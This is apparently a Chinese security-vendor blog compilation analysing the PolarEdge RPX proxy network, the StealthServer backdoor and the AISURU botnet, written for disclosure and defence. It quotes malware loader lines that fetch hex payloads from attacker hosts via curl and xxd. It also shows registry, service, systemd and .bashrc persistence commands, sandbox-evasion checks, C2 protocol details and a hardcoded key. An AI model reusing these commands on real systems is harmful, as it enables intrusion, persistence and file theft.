rpx将被侵入设备加入到ORB网络，它的第一个参数为控制节点的ip，第2个参数为端口，第3个参数为brand，可能理解成分组。我们在了11个q脚本中一共收集了10个的控制节点IP，使用的端口都是55555。

剖析RPX系统

RPX服务器节点

RPX服务器节点通常运行四个核心服务：RPX_Server、Nginx、Go-Admin与Go-Shadowsocks。在这些服务中，RPX_Server与二次开发的Go-Admin是PolarEdge的关键组件——RPX_Server作为工作节点（worker），负责实际对外提供代理服务；Go-Admin则作为管理节点（administrator），承担代理节点注册、会话验证、指令分发以及导出Clash配置供第三方使用等任务。Nginx采用反向代理模式，将19999端口的流量转发至Go-Admin服务，而Go-Shadowsocks则专门提供Shadowsocks代理服务。

这些服务的运行使服务器节点呈现出以下网络特征：

Nginx(端口19999): 使用固定的自签名证书，其指纹为：
3f00058448b8f7e9a296d0cdf6567ceb23895345eae39d472350a27b24efe999
RPX_Server(端口55555、55557和55558): 使用固定的自签名证书，其指纹为：
e234e102cd8de90e258906d253157aeb7699a3c6df0c4e79e05d01801999dcb5
Go-Admin(端口 55560): 尽管该服务使用动态生成的自签名证书，但其证书中存在一个恒定不变的特征：颁发者与所有者字段均被设置为空值(O = null, CN = null)。

RPX Server

简而言之，RPX Server 是一种反向连接代理网关，核心机制在于：它本身不会直接连接到目标地址，而是调度已注册的代理节点去连接目标，并让代理节点反向连接回网关分配的一个临时端口，最终在此端口上完成客户端与目标之间流量的透明桥接。

以下通过实际测试说明其这一机制：我们在日本测试主机 45.x.x.8 上运行 RPX_Client，将其注册至 RPX Server 节点 8.216.14.9。随后在本地运行 go-shadowsocks 客户端连接至该控制节点，并通过 ipinfo.io 查看出口 IP。

尽管 go-shadowsocks 的日志显示连接路径为本地 proxy ←→ RPX Server ←→ ipinfo.io，但通过 curl --socks5 返回的实际 IP 地址可知，真实的完整路径为：本地 proxy ←→ RPX Server ←→ RPX Client (45.x.x.8) ←→ ipinfo.io。在实际攻击的场景中，这种多跳能够很好的隐藏攻击源。

Server运行时接收两个参数：第一个是用于与 RPX_Client 交互的端口；第二个是代理服务的基础端口，基于它开启三种代理服务：SOCKS5（参数二）、SOCKS5 over TLS（参数二+1）和 Trojan（参数二+2）。目前实际观测到的参数值分别为 55555 与 55556。关于 RPX Server 的实现细节，Censys 已有文章进行深入分析，本文不再重复，有兴趣的读者可进一步查阅其报告。

RPX Client

我们一共捕获了4个的RPX Client样本，其中3个来自IP地址111.119.223.196，另外1个来自VirusTotal。来自该IP的样本均为ARM架构，而VirusTotal提供的样本为MIPS架构，这表明RPX在野还存在其他传播渠道。这4个样本的版本号均为0.0.13，根据现有统计数据，该版本是目前的主要流行版本。

在4个样本中，7fa5fb15098efdf76e4c016e2e17bb38 比较特别，因为它在运行时会在控制台打印出调试信息。我们以它为主要分析对象，其基本信息如下：

MD5: 7fa5fb15098efdf76e4c016e2e17bb38
MAGIC: ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
PACKER: None

RPX_CLIENT在PolarEdge网络中充当jumpserver的角色，这一点可从样本中暴露的源码文件名，运行时的日志得到验证。

它的功能设计较为简明，在侵入目标设备后，该程序首先将自身进程名称伪装为 connect_server，同时通过 PID 文件 /tmp/.msc 实现单实例运行，避免重复启动。随后，它会尝试读取全局配置文件 .fccq，从中获取 C2 服务器地址、通信端口、设备 UUID 及品牌信息等关键参数。若配置文件不存在，则会将运行时传入的参数加密保存至 .fccq 文件中以供后续使用。

完成配置初始化后，RPX_Client会与C2服务器建立两个独立的网络连接，以执行不同任务：一个连接至PORT参数指定的端口，该端口由RPX_SERVER服务监听，专门负责节点注册，流量代理；另一个则连接至固定端口55560，该端口由go-admin服务监听，专门用于执行远程命令。

解密配置文件

RPX_CLIENT首次运行时，会将参数加密保存在同目录的.fccq文件中，加密方式为单字节异或0x25。实际产生的配置文件为例，解密后的内容分别为UUID，C2，PORT，BRAND，version。

端口参数1(当前在野均使用55555)的任务

RPX_CLENT首次加入到网络中时，首先需要获得由服务器生成的uuid作为身份标识，网络交互逻辑如下：

Bot -> C2，33字节，结构为flag(1byte) + uuid(32 bytes)
Bot -> C2，32字节，结构为brand(16 bytes) + version(16 bytes)
C2 -> Bot，33字节，结构为flag(1 byte) + uuid(32 bytes)

当C2向Bot回包中的flag值为0x01时，表示收到uuid，bot将此uuid保存到配置文件中供后续使用。

随后继续接收C2下发的指令，准备提供代理服务。以下为指令的对应的结构体，实际使用时destation的长度由dest_length字段指定。

struct Protocal
{
  uint16_t magic;
  uint16_t port;
  uint16_t dst_port;
  uint16_t dest_length;
  char destination[256];
};

Magic字段指定了Bot的功能，它的值可以为0x11,0x12,0x16。我们在Xlab指令跟踪系统中实现了对该协议的模拟，从统计数据来看，暂时并没有特别的目标，流量大多为对qq,wechat,google,cloudflare的访问。

端口 55560的任务

RPX_CLIENT连接到服务器的55560端口，发送uuid表明身份，接收需要执行的远程命令，网络交互逻辑如下：

Bot -> C2，11字节，固定为“xa2axasexqx”
Bot -> C2，32字节，uuid
C2 -> Bot，4字节，命令报文长度
C2 -> Bot，命令报文，具体命令由"cmd"字段指定

除系统命令外，该样本还内置了两项特殊指令：change_pub_ip 与 update_vps，分别用于更换C2服务器地址及完成样本自我升级。基于UUID的身份识别机制，结合远程命令执行能力，PolarEdge背后的攻击者能够对代理节点进行高度精细的控制与灵活调度——既可随时指派节点执行其他任务或切换职能，也可在某一C2地址暴露时，迅速将代理池中节点迁移至新地址。

尽管当前我们的指令跟踪系统仅捕获到如echo hello一类用于维持心跳的简单指令，但在所掌握的RPX服务器日志中，明确存在change_pub_ip命令的实际执行记录。

另外服务器日志中还有与111.119.223.196相关的命令，显示它不仅充当了下载服务器，还作为反弹Shell的接收端，直接实锤了该IP是PolarEdge资产，也验证了我们在文章开头对该IP的研判。

总结

至此，我们对RPX系统的分析暂告一段落，以上是目前所掌握的主要发现。RPX_Client让我们得以一窥PolarEdge的中继机制；而RPX_Server与Go-ADMIN则首次揭示出这一威胁体背后的管理工具与基础设施。在这种架构下，由海量受侵IoT设备构成的代理节点，与由廉价VPS搭建的服务器节点遥相呼应，如同两道坚固的壁垒，为攻击者提供了有效的掩护，极大地增加了安全人员的追踪难度。

由于视野有限，PolarEdge威胁版图中后门样本与RPX系统之间的具体关联与互动方式，目前仍是未解之谜。我们诚挚欢迎掌握更多相关信息的业界同仁不吝分享，共同推进对这类威胁的认知与防御能力。

如果您对我们的研究感兴趣，或了解与PolarEdge相关的线索，欢迎通过微信公众号留言与我们联系。

关心IOC的读者，可点击下文的阅读原文，移步至XLAB官方博客原文的IOC章节以获取更多内容。

阅读原文

跳转微信打开

南亚某组织的双平台后门：StealthServer

Thu, 16 Oct 2025 10:54:00 +0800

原创奇安信X实验室 2025-10-16 10:54 北京

南亚地区长期以来都是网络攻击的高发地带，多个 APT 组织在此持续活跃且攻击频率和技术水平不断提升，我们也在关注和收集相关线索。从七月初以来陆续捕获到一批新的样本，包括 Windows 和 Linux 平台，这些文件的名字多与会议、采购等话题相关，比如“Meeting_Ltr_ID1543ops.pdf.desktop”、“PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop”，在执行时表面上会打开一份 PDF 文档以误导用户，而真正的恶意负载在后台静默运行，打开的文档内容也多与政治、军队、会议等话题相关，且基本与南亚某国相关。

经过分析，这是一款名为 “StealthServer” 的后门，核心功能使用 Golang 编写，支持 Windows 和 Linux 双平台，包括多个迭代版本。“StealthServer”这个名字来源于最初发现的 Linux 样本，其通信服务器在收到客户端上线之后会响应一条确认信息{"service":"stealth-server","status":"ok"}。在之后发现的一个 Windows 变种中还发现了大量类似 “ULTRA-” 的字样，表明开发者曾想将 Windows 版本命名为 “ULTRA-CLIENT”，但在后续的 Windows 变种里去掉了这一特征，因此这里将两个平台的样本统一称为 “StealthServer”。

功能方面，StealthServer 实现了两个核心功能：一是窃取受害者主机上的文件，二是执行 C2 下发的任意命令。协议方面，StealthServer 积极尝试切换不同的协议进行通信：目前识别了三个 Windows 变种，前两个变种通过 TCP Socket 通信，第三个变种切换为 WebSocket 协议；Linux 样本中则发现了两个变种，分别使用 HTTP 和 WebSocket 协议。

除此之外，StealthServer 最显著的特点是通过插入大量垃圾代码和垃圾函数来干扰分析人员，显著拖慢逆向工程的进度，某些变种还试图通过循环访问“google.com”、“microsoft.com”等类似的白名单域名来干扰流量分析。

通过我们的测绘系统搜索今年六月初以来 Web.Title="*Stealth Server*" 的资产，能发现一些存活的后台登录地址，如下图中站点标题为 “Stealth Server - Login” 的条目所示。由于 StealthServer 的 C2 存活时间一般较短，并无太多指令跟踪或感染方面的视野，因此本文重点放在样本分析部分，一些早期针对部分变种的分析线索（https://www.linkedin.com/posts/pushprajthakre_apt36-cyberespionage-transparenttribe-activity-7364565847383695362-OSk3?ref=blog.xlab.qianxin.com）也可以作为参考。

后台登录界面如下。

关联分析

基于以下几点线索，推测该后门可能与 APT36 存在一些关联。

1）样本行为特征符合该组织的历史样本特征（https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/?ref=blog.xlab.qianxin.com）：比如使用 .desktop 分发二进制 ELF 文件，这些 .desktop 文件通常伪装为 PDF 快捷方式，文件名以及打开的 PDF 文件内容多与政治、采购、会议等话题有关且多与南亚某国相关，PDF 文件的 URL 一般以 Google Drive 链接的形式存在。

2）C2 与该组织的基础设施存在关联，这点主要基于域名结构的相似性进行推测：StealthServer 使用的域名多模仿某国政府部门的站点或工具比如“modindia[.]serveminecraft.net”、“modgovindia[.]space”、“kavach[.]space”，这些 C2 与近期一些针对该组织基础设施相关的分析报告中提到的 IoC 存在命名结构上的相似性以及解析方面的关联性，比如“modindia[.]serveminecraft.net”和“modgovindia[.]space”在七月初解析到“101.99.94[.]109“，此外今年六月中旬还有另一个域名“zahcomputers.pk[.]modpersonnel.support”且只有该域名解析到这个 IP，这些域名与上述分析文章里提到的同期出现的疑似该组织使用的钓鱼域名比如“mod.gov.in[.]defencepersonnel.support”、“email.gov.in[.]modindia.link”等存在高度相似的结构，今年四月份 SEQRITE 发布的一份分析报告（https://www.seqrite.com/blog/advisory-pahalgam-attack-themed-decoys-used-by-apt36-to-target-the-indian-government/?ref=blog.xlab.qianxin.com）中提到该组织使用了大量类似上述“.support”、“.link”等结构的域名用于钓鱼。

3）部分分析报告（https://www.cloudsek.com/blog/investigation-report-apt36-malware-campaign-using-desktop-entry-files-and-google-drive-payload-delivery?ref=blog.xlab.qianxin.com）和安全研究人员的公开数据（https://x.com/Cyberteam008/status/1966104752779047237?ref=blog.xlab.qianxin.com）将某些 C2 标记为该组织所属。

StealthServer 样本分析

Windows 和 Linux 平台的样本都使用 Golang 开发，且开发路径几乎一致，基本符合*/bossmaya/*/obfuscated*.go这一结构，我们收集了两种平台的一些开发路径如下所示。

EXE:
D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go
D:/bossmaya/newblkul/client/client_obfuscated.go
D:/bossmaya/newblkul/client/client.go
ELF:
D:/bossmaya/client/obfuscated_client.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go
/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go

样本加载方面，Windows 的样本使用包含恶意宏代码的 PPT 文档作为加载文件，Linux 的样本则使用该组织惯用的 .desktop 文件。尽管两种平台的样本在具体功能上略有差异，但仍表现出较多共性，除了高度相似的开发路径以外，还有类似的虚拟环境检测、持久化等方法。但综合来看，以下两点是两个平台的样本最突出的共同特征。

（1）相似的代码结构，前面大片的代码都是垃圾代码和垃圾函数调用，核心代码放在尾部，这可以有效拖慢分析过程，如下图所示。

（2）相似的垃圾代码机制，除了在样本开头放置大量垃圾代码以外，还会在关键代码的上下文插入垃圾代码，且某些垃圾函数使用了相同的代码实现，比如无意义的循环计算、无意义的加密解密算法等，如下所示是一个无意义的斐波那契序列实现。

Windows-V1: TCP

# Loader

Windows 变种的第一个版本出现在七月份，入口文件是一个名为 “PM & Est Sanction Final 2025.ppam” 的 PPT 文档，这个文档内含一段恶意宏脚本，可以用 oledump 工具提取出来，如下图所示。当用户设置允许 Office 文档的宏代码执行时，会自动执行下述宏代码，整个运行过程涉及两个 URL，其中第一个https://filestore[.]space/SoftsCompany/d/11/MES-Presentation是用于误导用户的 ppt，第二个https://filestore[.]space/SoftsCompany/d/14/nodejs是恶意载荷 StealthServer。

# StealthServer

1. 分析对抗

除了使用大量垃圾代码之外，StealthServer 还使用了较多手段来对抗分析，以及设置持久化驻留。

（1）反调试、反沙箱

① 执行命令tasklist /fi "imagename eq %s*" | find /i "%s"检测是否存在下述沙箱和虚拟机相关字符串的进程。

VMware
VirtualBox
VBOX
QEMU
Xen
Hyper-V
Parallels
KVM
Virtual
VM
vbox
vmware

② 调用 IsDebuggerPresent() 函数判断是否处于调试状态。
③ 获取 PEBDebugFlag 来判断是否处于调试状态。
④ 判断下述目录是否存在，如果存在则认为处于分析环境。

C:\\analysis
C:\\sandbox
C:\\malware
C:\\sample
C:\\virus
C:\\quarantine

⑤ 判断当前用户名是否是下述列表中之一，如果符合则则认为处于分析环境。

admin
administrator
sandbox
malware
virus
user
test
analyst
john
jane

（2）干扰流量

循环请求如下几个网站，干扰流量分析。

google.com
microsoft.com
cloudflare.com
amazon.com
facebook.com
httpbin.org

（3）隐藏终端窗口

调用如下 powershell 指令cmd /C powershell -WindowStyle Hidden -Command exit创建一个隐藏的终端窗口。

（4）互斥体检测

通过检查互斥体来判断是否已有同名实例在运行，对字符串nodejs_instance_mutex计算 sha256 之后拼接Global\\%x得到互斥体名称，随后执行下述指令进行检测cmd /C powershell -Command \"$mutex = New-Object System.Threading.Mutex($false, '%s'); if($mutex.WaitOne(0)) { exit 0 } else { exit 1 }

2. 持久化

（1）隐藏文件

把自身文件拷贝到%APPData目录下并改名为 nodejs.exe，执行attrib +h +s给文件添加隐藏属性和系统属性，使得文件不可见。

（2）注册表自启动

执行reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v nodejs /t REG_SZ /d \"%s\" /f将 nodejs.exe 添加注册表自启动。

（3）自动启目录

在启动目录 Startup 下创建 .ps1 文件create_shortcut.ps1，使用 powershell 执行该脚本创建一个 lnk 文件System Update.lnk到\\Microsoft\\Windows\\Start Menu\\Programs\\Startup目录，文件路径指向 nodejs.exe。

$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut('%s')
$Shortcut.TargetPath = '%s'
$Shortcut.WorkingDirectory = '%s'
$Shortcut.WindowStyle = 7
$Shortcut.Save()

（4）计划任务

通过执行sc create "NodeJSUpdater" binPath= "%s" start= auto DisplayName= "Node.js Background Updater" type= own以及sc start "NodeJSUpdater"创建计划任务实现定期执行。

3. 网络通信

样本使用的服务器地址是modindia.serveminecraft[.]net，使用 TCP 协议收发 JSON 格式的数据进行交互，端口为 8080。上线包格式如下，id 字段硬编码在样本中，可能用于标记不同批次的样本或样本的版本，location 字段用“windows - ”拼接当前主机名，antivirus 字段表示杀软名。通信逻辑的上下文中也掺杂着大量垃圾代码，用于干扰分析过程。

{
  "id": "633734336633383138326436323966326463656638303966363166663933356163363239363364eae2d6e4",
  "location": "windows - DAJI0A22",
  "antivirus": "Unknown"
}

支持如下三个指令。

LIST：获取文件列表
UPLOAD：上传指定文件
DOWNLOAD：下载指定文件

Windows-V2: TCP

八月底发现了另外一个版本的 Windows 变种，文件名为 “proxifiersetup.exe”，该变种对核心功能函数的名字进行了混淆，开发路径为D:/bossmaya/newblkul/client/client_obfuscated.go，和下文介绍的 Linux 版本使用了相同的路径，而且提示信息里表明了该变种的名字为“ULTRA-CLIENT”。基本功能只发生了一点变化比如多了检测Ollydbg、x64dbg、IDA等安全分析工具的反调试的方法，其他方面没有太多变化。

网络通信方面，远程 C2 通过 XOR 加密，但实际还内置了两个备份 IP，C2 使用的端口都是8080。

sinjita[.]store
45.155.54[.]122
45.155.54[.]62

上线包稍微发生了一点变化，增加了一个os字段，id字段由随机生成的 8 个字节拼接而来，支持的三个指令LIST、UPLOAD、DOWNLOAD没变。

{
  "id": "ultra_client_6edc15ad7feac78f",
  "location": "Roubaix, Hauts-de-France, France - UltraPC(Rubin)",
  "os": "Microsoft Windows [�æ±¾ 10.0.22621.4317",
  "antivirus": "Windows Defender"
}

Windows-V3: WebSocket

八月底捕获了另一个变种，改为使用 WebSocket 协议通信，C2 服务器为ws://kavach[.]space:5500，功能与下面要介绍的 Linux 版本二相同，此处不作赘述。

Linux-V1: HTTP

# Loader

Linux 变种的第一个版本发现在八月初，入口样本是一个名为 “Meeting_Ltr_ID1543ops.pdf.desktop” 的文件，“.desktop”文件即 Linux 的快捷方式或程序启动器，类似 Windows 的 .lnk 快捷方式文件。频繁使用 .desktop 文件作为 loader 来投递不同工具，是该组织一个明显的行为特征。

这个 .desktop 文件表面上伪装成一个 PDF 文档的快捷方式，在桌面/菜单中显示的名字是 “Meeting_Ltr_ID1543ops.pdf”，执行后会打开用户机器上的 Firefox 浏览器访问一个 GoogleDrive 页面误导用户，这是一份标有 “CONFIDENTIAL（机密）” 的文件，内容大致是 “某国国防研究与发展组织（DRDO）与以色列国防企业在滑翔炸弹和高速系统（包括高超音速推进技术等）方面的研发联盟相关事宜”，这也符合该组织常用的钓鱼主题。

实际上会从远程恶意服务器下载一个文件 “Mt_dated_29.txt”，保存到 /tmp 目录下且命名格式为“/tmp/Meeting_Ltr_ID1543ops.pdf-$(date +%s)”。这个文件就是 StealthServer，但是是十六进制 HEX 格式的字符串内容，因此使用“xxd -r -p”命令将其恢复为二进制 ELF 文件，然后“chmod +x”之后执行。

curl -s "https://securestore[.]cv/ghg/Mt_dated_29.txt"

另一个变种的 Loader 使用十六进行 HEX 字符串的格式编码 URL，而非 base64，如下图所示变量 a 解码后是https://trmm[.]space/SoftsCompany/d/27/clipboard.txt，b 解码后是“firefox”，c 解码后是用于误导的 pdf 链接https://drive.google.com/file/d/1C-PH7EEOhv5gjYzKnsz_KGBe48454QGc/view?usp=sharing，功能是相同的，不再赘述。

# StealthServer

和 Windows 版本的样本不同，Linux 版本的 StealthServer 的代码进行了函数名混淆，开发路径为 D:/bossmaya/client/obfuscated_client.go。

1. Junk code/Junk Function

init 和 main 函数前面大部分内容都是 Junk Function 和 Junk Code，用于干扰分析，Junk Code 主要是执行无意义代码，包括两类，一类是比如包含空代码的大量循环和休眠，另一类是对一段无意义数据进行循环压缩/加密/解密。

2. 反调试

通过获取 /proc/self/status 文件的内容，判断里面包含的进程状态信息“TracerPid: N”。

如果 N = 0 → 没有被调试器跟踪。
如果 N ≠ 0 → 被某个调试器（如 gdb、strace）附加。

3. 持久化

（1）添加系统服务

首先在当前用户目录下创建如下目录结构，其中 “/home/username/.config/systemd/user/default.target.wants/system-update.service”是一个符号链接指向“/home/username/.config/systemd/user/system-update.service”。

然后将自身 ELF 文件拷贝到“/home/username/.config/systemd/systemd-update”，并释放服务文件“/home/username/.config/systemd/user/system-update.service”，主要是保证样本一直处于运行状态，最后使用 systemctl 启动该服务，文件内容如下。

[Unit]
Description=System Update Service
After=network.target
[Service]
Type=simple
ExecStart=/home/username/.config/systemd/systemd-update
Restart=always
RestartSec=10
User=username
[Install]
WantedBy=default.target

（2）在 ~/.bashrc 和 ~/.profile 文件尾部增加启动指令

~/.bashrc是 bash shell 的配置文件，在 shell 启动时加载并执行其中的预配置指令，~/.profile用于环境变量、用户登录时的初始化操作，增加的指令如下，用于在后台启动样本。

# System update service
nohup /home/username/.config/systemd/systemd-update >/dev/null 2>&1 &

4. 网络通信：支持三个指令

C2 服务器地址为“modgovindia[.]space”，和 Windows 版本的域名“modindia.serveminecraft[.]net”解析到了相同的 IP 地址“101.99.94[.]109”。具体通信过程如下，首先 HTTP 请求 “http://modgovindia[.]space:4000/health”，判断服务器是否活跃，响应内容中的 service 字段指明了该工具的名字。

然后请求http://modgovindia[.]space:4000/commands，尝试获取指令，响应内容是 JSON 格式，支持下面三个指令。最后把执行完的命令的结果通过请求http://modgovindia[.]space:4000/command-response响应给 C2。

1）'browse'
遍历指定目录下的文件列表，响应内容中的 'path' 字段指示了目标路径。
2）'upload'
上传指定文件。
3）'execute'
执行 bash 命令。

5. 窃取文件

从根目录/开始遍历，搜索所有如下后缀的文件。

.pdf
.doc
.xls
.ppt
.txt
.zip
.rar

当遍历到上述后缀的文件，首先发送一个 GET 请求通知服务器，X-Username 字段是当前用户的名字。

然后执行 POST 请求“/upload?last=true”把文件发送到远程服务器，X-Username 用于标记当前用户名，便于服务器识别对应文件属于哪一个用户，X-File-Name 是 base64 编码的文件名。文件内容经过 AES-GCM 算法加密，加密过程是首先获取硬编码在样本中的一个字符串，进行 sha256 计算之后作为 AES 的 key，然后随机生成 12 字节作为 GCM 的 Nonce，并保存在请求中的 X-Nonce 字段，最后加密完毕得到的 16 字节 Tag 数据附加在文件密文尾部，一起发送到远程服务器。

以上图发送的文件为例，样本中硬编码的 AES.key 原始字符串为617d6e6f298505d2855f3f85e30a971a01bee4fb9417456d2e11090e170e80ea，因此能够还原得到下述文件内容。

Linux-V2: WebSocket

# Loader

八月中旬发现了另一个 Linux 版本的样本，入口是一个名为 “PROCUREMENT_OF_MANPORTABLE_&_COMPAC.pdf.desktop” 的文件，内容包含三千多行注释，在文件中部包含了实际会执行的指令。执行逻辑基本同 HTTP 版本的样本，只不过 cmd 指令通过 base64 编码。

同样地，打开 Firefox 浏览器访问下述 GoogleDrive 页面欺骗用户，这是一份名为 “Draft RFI for PDS 18 Aug 25 Final.pdf” 的文件，内容大概是 “转发关于《征询信息（RFI）》的草案，用于采购“可携带、轻便的被动探测与对抗措施系统（LWPD-CMS）””。

firefox --new-window "https://drive.google.com/file/d/1kn0L_6WYbfUUx0dmzwfALDnzkVHJAPTu/view?usp=drive_link"

StealthServer 的 Payload 也是一份十六进制 HEX 格式的字符串文件，经过“xxd -r -p”指令即可转换为 ELF 文件，添加可执行权限之后运行程序。

eaMXJW="--fail --location --show-error"; curl ${eaMXJW} "https://drive.google.com/uc?export=download&id=1VQQiTt78N3KpYJzVbE-95uILnO84Wz_-" | xxd -r -p

# StealthServer

这个变种的开发路径是 “D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go”，标记为增强版，同样使用了大量垃圾代码，但函数名并没有进行混淆。

1. 持久化

不同的是这个变种可以接受一个参数“--hidden”，当传入这个参数时会跳过持久化的部分。持久化的逻辑是把自身 ELF 文件拷贝到“~/.config/system-backup/”目录下，然后添加 crontab 计划任务命令@reboot %s > /dev/null 2>&1，这会使每次系统重启后自动运行拷贝后的 ELF 文件，并且完全隐藏它的输出。随后添加下述系统任务“system-backup.service”保证持续运行。

[Unit]
Description=System Backup Service
After=network.target
[Service]
Type=simple
ExecStart=%s
Restart=always
RestartSec=10
User=%s
[Install]
WantedBy=default.target

2. 网络通信

该变种通信协议改为 WebSocket 协议，但数据包还是使用 JSON 格式，C2 经过 base64 编码：“d3M6Ly9zZWVteXNpdGVsaXZlLnN0b3JlOjgwODAvd3M=”，解码后得到ws://seemysitelive[.]store:8080/ws。当连接成功之后客户端响应如下信息，其中包括"Welcome to Stealth Server"。

{
  "type": "welcome",
  "client_id": "fd77350b-d70b-4978-bc54-bc5b16843904",
  "data": "Welcome to Stealth Server",
  "timestamp": "2025-08-20T03:04:07.8960862-07:00"
}

然后向 C2 发送如下客户端信息。

{
  "type": "client_info",
  "client_id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41",
  "data": {
    "current_dir": "/tmp",
    "hostname": "buffalo",
    "ip_address": "35.*.*.48",
    "location": "Council Bluffs, Iowa, United States",
    "os": "linux",
    "username": "root"
  },
  "timestamp": "2025-08-20T10:04:07.538478245Z"
}

随后客户端和服务端每隔 30 秒互相向对方发送心跳信息。

response：
{
  "type": "heartbeat",
  "timestamp": "2025-08-20T03:04:37.8972773-07:00"
}
sendto：
{
  "type": "heartbeat_response",
  "client_id": "7a8dfc96-eea9-4c46-8e48-0ddb2dd2be41",
  "timestamp": "2025-08-20T10:04:36.244598102Z"
}

支持如下几个指令：

browse_files：发送指定路径的文件列表
upload_execute：上传指定文件
start_collection：搜索指定后缀的文件
ping
welcome
heartbeat

结论

该组织攻击活动频繁，呈现工具多、变种多、投递频率高等特点。若您对此话题感兴趣，欢迎通过 X 平台（https://x.com/Xlab_qax?ref=blog.xlab.qianxin.com）与我们联系。

IoC

Samples：
dc64c34ba92375f8dc8ae8cf90a1f535a0aa5a29fcf965af5ad4982cd16e9d71
8f8da8861c368e74b9b5c1c59e64ef00690c5eff4a95e1b4fcf386973895bef1
6347f46d77a47b90789a1209b8f573b2529a6084f858a27d977bf23ee8a79113
662890bb5baba4a7a9ba718bdedd6991fbf9867c83e676172f5527617e05cafa
264d88624ec527458d4734eff6f1e534fcacb77e5616ae61abed94a941389232
56260e90bba2c50af7c6d82e8656224ece23445f1d76e87a97c938ad9883005f
499f16ed2def90b3d4c0de5ca22d8c8080c26a1a405b4078e262a0a34bcb1e31
7a946339439eb678316a124b8d700b21de919c81ee5bef33e8cb848b7183927b
10b54abba525686869c9da223250f70270a742b1a056424c943cfc438c40cc50
ece1620e218f2c8b68312c874697c183f400c72a42855d885fc00865e0ccc1a1
ab85924ba95692995ac622172ed7f2ebc1997450d86f5245b03491422be2f3d6
cf39bb998db59d3db92114d2235770a4a6c9cbf6354462cfedd1df09e60fe007
Domain：
modindia[.]serveminecraft.net
modgovindia[.]space
seemysitelive[.]store
solarwindturbine[.]site
sinjita[.]store
sinjita[.]space
seeconnectionalive[.]website
windturbine[.]website 
kavach[.]space
zahcomputers.pk[.]modpersonnel.support
discoverlive[.]site
cloudstore[.]cam
IP：
45.155.54[.]122	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.54[.]62	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.54[.]28	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.53[.]179	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.155.53[.]204	Switzerland|Zurich|Zürich	AS200019|ALEXHOST SRL
45.141.58[.]199	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
101.99.94[.]109	Bulgaria|Sofia-Capital|Sofia	AS45839|Shinjiru Technology Sdn Bhd
164.215.103[.]55	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
161.97.82[.]97	France|Grand Est|Lauterbourg	AS51167|Contabo GmbH
5.178.0[.]29	The Netherlands|Flevoland|Dronten	AS213373|IP Connect Inc
Golang path：
D:/bossmaya/linuxnewdownloader/windows-client/obfuscated_main.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated.go
D:/bossmaya/newlinuxblkul/client/main_obfuscated_enhanced.go
D:/bossmaya/client/obfuscated_client.go
D:/bossmaya/newblkul/client/client.go
D:/bossmaya/newblkul/client/client_obfuscated.go
/home/boss/Desktop/tgtfile/main_obfuscated_enhanced.go

原文地址如下或者点击阅读原文即可跳转：

https://blog.xlab.qianxin.com/apt-stealthserver-cn/

阅读原文

跳转微信打开

史上最强？揭秘11.5T级超大规模僵尸网络AISURU的内幕

Mon, 15 Sep 2025 12:45:00 +0800

原创奇安信X实验室 2025-09-15 12:45 北京

概述

2025年以来，全球DDoS攻击的带宽峰值不断刷新历史纪录，从年初的3.12 Tbps一路飙升至近日惊人的11.5 Tbps。在多起具有高影响力或打破流量纪录的攻击事件中，我们均监测到一个名为AISURU的僵尸网络在幕后频繁活动。

Cloudflare报告11.5T攻击事件:

XLAB攻击事件监控数据:

AISURU僵尸网络最初于2024年8月由XLab首次披露，曾参与针对《黑神话：悟空》发行平台的DDoS攻击。自今年3月以来，XLab大网威胁监测平台持续捕获到该僵尸网络的新样本。多方信息显示，其背后团伙在4月涉嫌入侵某品牌路由器固件升级服务器，通过下发恶意脚本进一步扩展僵尸网络规模，当前节点数量据称已达30万。

更值得警惕的是，部分AISURU样本中嵌入的“彩蛋”信息已明显超出纯粹的攻击意图，转而试图传递特定意识形态内容。基于这一严峻态势，我们决定撰写本报告，向安全社区公开相关研究成果，呼吁各方携手应对，共同打击这一愈发猖獗的网络犯罪活动。

匿名消息源 & XLab视野

由于XLab长期深耕DDoS攻击这一领域，并持续发布可靠且独具深度的分析报告，这为我们不仅在防御者群体中、也在攻击者圈内积累了良好的声誉。近日，针对AISURU/ AIRASHI这一僵尸网络，有知情的匿名消息源主动向我们提供了相关情报，希望能像此前打击Fodcha僵尸网络一样，彻底瓦解AISURU。这一线索让我们终于有机会走近AISURU背后的团伙，揭开僵尸网络的运作内幕。

匿名消息源

据匿名消息源称：AISURU团伙有3个关键人物，代号分别为Snow, Tom, Forky。2022年，Forky认识了当时尚在微末的Snow和Tom，经过catddos僵尸网络等几次愉快的合作之后，三人一拍即合，决定成立现在的AISURU团队。

Snow：负责僵尸网络的开发
Tom：负责漏洞，包括0day发现，Nday整合
Forky：负责僵尸网络的销售

2025年4月，Tom成功入侵totolink的一台路由升级服务器，将固件升级的url设定为下载执行恶意脚本。这意味着每台执行升级操作的totolink路由器，都有可能感染AISURU僵尸网络。

这次入侵让AISURU僵尸网络的规模迅速攀升，在极短的时间内突破10万级。如此庞大的规模，让他们也有点措手不及，不得不牺牲睡觉时间，加班加点在数个C2 IP上配置策略，配合GRE TUNNEL进行分流。

AISURU团伙成员行事张扬，常以“好玩”为由对ISP发动攻击，破坏性非常强。这使得他们在DDoS圈内口碑非常差，常被别人戏称为“精神不正常”，可以说是树敌无数。

